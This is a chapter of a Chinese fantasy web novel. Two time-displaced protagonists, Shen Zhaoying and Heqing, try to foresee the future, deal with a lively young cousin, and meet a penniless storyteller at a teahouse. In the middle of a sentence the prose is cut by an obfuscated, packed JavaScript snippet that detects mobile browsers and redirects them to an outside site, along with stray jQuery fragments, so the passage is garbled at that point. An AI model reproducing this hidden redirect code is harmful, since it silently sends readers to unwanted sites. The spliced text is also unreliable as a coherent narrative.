46. 第四十六章
作品:《仙尊今天也在努力扮演替身》 天刚露出一点光亮,沈昭缨推了推身侧的人:“起来。”
“再睡一会儿。”他嘟囔着,把她环抱得更紧。
她感受了一下心海,青年的魂体正在那里沉睡着,不愿离去。
“谁叫你昨夜非得弄那么晚,”她咬牙切齿,她的魂体也黯淡无光,显得疲惫不堪,“我记得按流程,我们需一大早去敬茶。”
鹤青闭着眼睛说:“老祖宗的父母云游四海,连儿子的婚礼都来不及参加,只捎带来了贺礼,现在不在府上。”
沈昭缨:“那些族老呢?他们总在吧?”
“据我这几日的观察,老祖宗是个随心而为的性子,做事全凭是否开心。娶江小姐也是一时冲动,吓坏了不少人。”
他打了个哈欠,“你就别担心了,不会出事的。”
“我能不担心吗?我们来了数日,还是一头雾水,谁知道逆转之眼什么时候把我们丢出去,到时更不知过去发生了什么。”
沈昭缨推搡着他,“起来,就算不用敬茶,也不能在床上虚度光阴。”
被她这么连着推了几下,再浓的睡意也被赶跑了。
他叹了口气,坐起来:“别急,我正要与你说我所得知的事情。”
她坐在铜镜前,鹤青正在为她描眉梳发。
“你还会这个。”
“看得多了,便自然会了,”鹤青把她的脑袋固定住,微微拧起眉,“别动。”
她不再乱动,安静地看着长发在他手上轻柔地梳理,几下绑成简单的一束发。
“你与我说一说,你在越家做了什么。”
“我的身份是越家第一代家主,江家此时应该也还没建立多久,两家人都不算多。”
鹤青拿了一个金钗比在她的发髻上,又不满意地拿下去。
“老祖宗是个随性的人,就算我做出不符合身份的事,旁人也只会觉得老祖宗又发疯了。”
“这么说来,你比我受的限制要小很多。”她忿忿不平,带着些许怒气,“我要你拿的第一根簪子。”
他愣了一下,簪子全都堆在妆台上,哪还能分清哪个是第一根。
“我还未说到你。江小姐体弱多病,常年养在闺阁中足不出户,见过她的人并不多。”
鹤青将手搭在她的颈侧,感受脉搏在蓬勃有力地跳动。
“但这副身体并不薄弱,反而灵骨上乘,是修仙的好苗子。病弱只是因为过强的天赋年幼无法承受,长大自然好了。”
她一下相通关窍:“江家的血脉天赋不是能预知未来?”
“想要让天赋沿血脉传承下去,必得无比强悍,且后代继承来的天赋,不及原身十分之一。”
鹤青凝视着她,“你的师父和师妹都是江家人,或许你可以尝试动用江小姐的能力,去看未来。”
“我试试。”
沈昭缨闭上眼睛,调动体内稀薄的灵气汇聚在额间。
慢慢有景象呈现出来。
她看见明日会有人过来闹事,看见再过几日有个族老过身了,他们前去哀悼。
再然后......
她头一疼,几乎要昏厥过去。
“你的灵力被抽干了,看不见便别看了,不要勉强自己,你知不知道这样很危险?”
鹤青一边严肃地说,一边为她输送灵力。
她虚弱地道:“我本想见好就收,但突然遇到一层阻碍,我想试着冲破......也许是江小姐现在还没掌握到要领,上天也不会让我多知道什么。”
“不管是什么都别再试了,”他重重地叹了一口气,“我们改变不了过去,只能活在既定的事实里。”
*
沈昭缨梳妆打扮完,不再耽搁时间,向门外走去。
“嫂嫂——”
一个小女孩横冲直撞地跑过来,直扑入她的怀里。
“这是我的表妹越黎,暂时住在这里。”
鹤青咳了几声,过去拉她:“一点礼貌都没有,吓着你表嫂怎么办。”
“表嫂答应我会教我法术,”越黎眼巴巴地仰起头,“还有我不是暂住府上,爹爹答应我,我想住多久就住多久。”
“这府邸是我的不是你爹的。”
鹤青拎着她的衣领,如拎小鸡一般,把她提溜出去,“再让我发现你私自跑过来,我就让你娘给你多布置一点功课。”
越黎瞬间慌乱起来,露出一个讨好的笑容:“表哥,你在逗我玩是吧?我们可是血肉相连的至亲,你不会这么狠心的对吧?”
见他一副不为所动的样子,她哭嚎起来:“不要啊,爹爹,爹爹你在哪,救我——”
她的哭闹声被隔绝在门后。
“想不到啊,你威胁起小孩也是得心应手。”
沈昭缨津津有味地在一旁看着好戏。
他无奈:“你不知道越黎多机灵,稍微给她一点好脸色,她就会顺着杆子往上爬。也就她娘能治住她。”
“越黎......这个名字好熟悉。”
她读过各地的奇闻异事,越家也是镇守一方的大族,许多有功绩的越家子弟也被记录了下来。
鹤青:“她于修行上没有天资,但却是首个将灵骨转化为魔骨的人,让日后越家人既能修仙道也能修魔道。只是这方法容易被人误解,所以关于她的记载并不多,只有越家人才知道其中密辛。”
沈昭缨感慨不已:“看到古书上的人活生生地出现在面前,还是年幼的模样,这种感觉确实挺新奇的。”
他语气平平地说:“也许将来也有人利用逆转之眼,回到我们那个时代,他们恐怕不会像你这样多愁善感。”
“我就随口提一句,”她恼怒,“罢了,不说这个了,今日不是有人递请帖给你,还不快去赴约。”
“不是给我,是给我们。”鹤青握住她的手,微微一笑,“走吧夫人。”
一大早灵雀就叼着口信过来,让他们午时在茶楼会面。
传信之人连名号都未留下,仿佛笃定他们会来。
“莫不是老祖宗的仇家?我们如约而至岂不是跳进了陷阱?”
已过了午时,那人却迟迟未至。沈昭缨喝完了第五杯茶水,无聊地猜测。
他摇头:“那张纸上没有异样,且写下那些的人言辞中透着熟稔,更像是多年老友。”
“你今日这么准时?往常不迟个半天才姗姗来迟,不愧是娶了新娘子的人啊。”
他们回头,一名白衣男子向这边走来。
鹤青:“找我何事?”
“也没什么事,就是想看看你新娶的娘子长何样,毕竟江小姐可是很少出门呢。”
“我们走。”他沉下脸,作势
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14347746|135830||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
欲走。
“别,别,我开玩笑的。”白衣男子清了下嗓子,神秘地靠近他,“你听说了吗?城北郭家五口人上吊自杀,传闻他们是被奸人所害,其实是恶妖扮作他们家人的模样,引诱他们自戕。”
沈昭缨问:“恶妖?那可有宗门派修士过来除妖?”
“那只恶妖行踪诡秘,仙门派了几波修士都抓不到它的影子,正当大家一筹莫展时,突然有个神秘人从天而降,把那恶妖擒住,为郭家报仇雪恨。”
他侃侃而谈。
她勾起一丝兴趣:“之后呢?那个神秘人是何身份?出自哪个门派?”
“这个......我还没想好,”他挠挠头,虚心请教,“江小姐博学多闻,你觉得是把他设为出自大门派,还是一介散修比较吸引人?”
沈昭缨提高音量:“你在编故事?”
“在下平生只有一个爱好,就是写各种话本,若能遇到知音把我的故事传下去,也算不枉此生了。”
他摇头晃脑,抽出一本小册子,“越兄到过许多地方,见识多广,总是能帮我想出新情节,我很感激。”
“你不如把那名神秘人设为魔修,堕魔后杀死了曾经救过自己的一家人,于是大彻大悟,决定改过自新。”
鹤青突然接过话头。
“这点子不错,再把郭家改为曾害他堕入魔道的人,他杀死了帮他的人,却救了害他的人。此话本一出,定能让大伙恨得牙痒痒,令人难以忘怀。”
他连连感叹,抚掌称好,“越兄,我要赶紧回去写书了,就不陪你闲聊了。你的新婚之礼我已送到府上,祝你和江小姐长长久久,白头偕老。”
等他走后,沈昭缨狐疑:“他有什么不对劲的地方吗?我瞧你脸色很不好。”
“我刚刚那番话......”鹤青面色凝重,“非我本心。我不由自主地说出了那番话,就像有什么在控制我似的。”
“应该又是天道让你做出符合身份的举动,我时常感到这样,这很正常。”
沈昭缨安慰他。
“只有到重要的事情才会如此,就像昨夜我不能离开婚房。但像这种与人说什么话,不应该不受控,特别是这种无关紧要的闲聊。”
他缓慢地说出担忧的事,“刚才那个人或许在其中扮演了重要角色,也是我们想要找寻真相的关键之人。”
她唏嘘:“他看着平平无奇还有点傻,竟有如此大作用,还真是人不可貌相。”
此后连着几天,他们都会在茶楼等候白衣男子的到来。
鹤青也去查了他的身份,他叫吕怀仁,出身贫寒,越家主有次买下了数十本他写的话本,从此就被缠上了。
他坚信越家主就是他寻觅多年的知音,一想不出新的故事情节就来找越家主获取灵感。
所幸越家主也喜欢胡诌,把他唬得一愣一愣的。
不过据鹤青所言,老祖宗买下那些话本只是为了垫桌腿,连翻都没翻。
“怀仁啊,这里地方小百姓少,你这么喜欢写故事,没想过去京城吗?把故事说给天下人听。”
沈昭缨这几日也与他熟悉起来,知道他家徒四壁,有时连饭都吃不饱,她同情地看向他。
他的目光黯淡下去:“京城是天子脚下,哪容得下我这般小人物,我的那些故事也不过是三教九流罢了。”